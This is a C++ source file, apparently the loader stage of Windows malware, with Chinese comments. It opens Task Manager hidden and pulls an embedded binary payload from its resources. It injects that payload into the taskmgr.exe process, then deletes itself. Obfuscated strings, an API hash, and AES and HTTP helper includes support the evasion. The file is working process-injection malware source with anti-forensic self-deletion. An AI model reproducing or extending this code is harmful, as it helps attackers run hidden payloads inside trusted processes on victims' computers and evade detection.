﻿#include "resource.h"
#include "./inject/HttpRequestTool.hpp"
#define MYFN_HASH  0x5551fd97
#include "./inject/fun.hpp"
#include "inject/AES.h"
void lg(std::string qq);
#define errExitBreak(log) {log2txt(log); break;} // 打印输出到终端并退出循环
#define errExit(log) {log2txt(log); DeleteAppSelf(); exit(0);} // 打印输出到终端并退出和删除自身
std::string getResource(_In_ LPCSTR lpName, _In_ LPCSTR lpType);

std::string msg="6666";
int main(int argc, char**argv)
{
	//////////// **打开任务管理器并注入** ////////////
	ShellExecuteA(NULL, _c("open"), _c("taskmgr.exe"), NULL, NULL, SW_HIDE);
	do
	{
		// 获取资源
		std::string fileBuf1 = getResource(MAKEINTRESOURCEA((WORD)IDR_BIN1), _c("BIN"));
		// 注入
		DWORD pid = GetProcessIDByName(_cw(L"Taskmgr.exe"));
		if(pid<1) errExit(_c(".error-3"));
		int res = Remote_DLL(pid, (LPVOID)fileBuf1.c_str(), fileBuf1.size(), (LPVOID)msg.c_str(), msg.size());
		if (res != 1)
			errExit(_c(".error-4,-")+std::to_string(res));
		errExit(_c(""));
	} while (0);
	return 0;
}

std::string getResource(_In_ LPCSTR lpName, _In_ LPCSTR lpType) {

	std::string buf;
	HRSRC hrsc = FindResourceA(NULL, lpName, lpType);
	if (!hrsc) return buf;
	HGLOBAL hFile = LoadResource(NULL, hrsc);
	if (!hFile) return buf;
	DWORD dwLength = SizeofResource(NULL, hrsc);
	if (dwLength == INVALID_FILE_SIZE || dwLength == 0)
		return buf;
	LPVOID lpBuffer = ::LockResource(hFile);
	buf = std::string((const char*)lpBuffer, dwLength);
	::FreeResource(hFile);
	return buf;
}